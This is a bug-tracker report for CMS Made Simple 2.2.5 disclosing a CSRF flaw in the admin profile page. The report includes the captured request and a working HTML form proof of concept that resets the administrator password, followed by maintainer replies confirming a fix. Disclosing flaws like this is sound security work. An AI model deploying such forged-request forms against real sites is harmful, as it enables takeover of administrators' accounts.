CMS MADE SIMPLE FORGE

CMS Made Simple Core

 

[#11715] CSRF in the admin profile page allows full admin account takeover

avatar
Created By: Mustafa Hasan (strukt)
Date Submitted: Sat Jan 27 01:11:14 -0500 2018

Assigned To:
Version: None
CMSMS Version: 2.2.5
Severity: Minor
Resolution: Fixed
State: Closed
Summary:
CSRF in the admin profile page allows full admin account takeover
Detailed Description:
When an admin attempts to change their profile information, the following POST
request gets sent:

POST /cmsms/admin/myaccount.php?_sk_=SKVAL HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Cookie: [removed]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

active_tab=maintab&submit_account=Submit&user=admin&password=&passwordagain=&firstname=cccc&lastname=sss&email=test@testhost.com

The problem is that the _sk_ value, which serves as a CSRF token, is not
validated on the server, allowing anyone to craft a POST request that gets sent
whenever an administrator is lured into opening a page controlled by that
someone. The following is an example HTML code that can be used to replicate the
issue:

<form action="http://localhost/cmsms/admin/myaccount.php" method="POST">
	<input type="hidden" name="user" value="admin">
	<input type="hidden" name="password" value="csrf1234">
	<input type="hidden" name="passwordagain" value="csrf1234">
	<input type="hidden" name="active_tab" value="maintab">
	<input type="hidden" name="submit_account" value="Submit">
	<input type="submit" value="CSRF!">
</form>

Paste the above markup to an HTML file and open it in a browser while logged in
with the admin account and click "CSRF!". Logout with the admin account and then
login with the password "csrf1234" to make sure the attack worked.

Regards,


History

Comments
avatar
Date: 2018-02-02 23:20
Posted By: Mustafa Hasan (strukt)

Any news about this ?
      
avatar
Date: 2018-02-14 02:11
Posted By: Mustafa Hasan (strukt)

Hello ? Will I ever get a response ?
      
avatar
Date: 2018-02-15 10:17
Posted By: Matt Hornsby (DIGI3) (DIGI3)

We tend to respond once a fix is in place, but can't continually update minor
bug reports with "trying this" and "testing this". We do read them all and do
our best with what limited resources we have. Thanks for your report and
patience.
      
avatar
Date: 2018-02-16 09:54
Posted By: Robert Campbell (calguy1000)

fixed in the next release
      
avatar
Date: 2018-02-16 10:10
Posted By: Mustafa Hasan (strukt)

Thanks and well done, please provide the fix commit link so that I can request a
CVE.
      
Updates

Updated: 2018-02-18 11:53
state: Open => Closed

Updated: 2018-02-16 09:54
resolution_id: => 7
severity_id: 2 => 3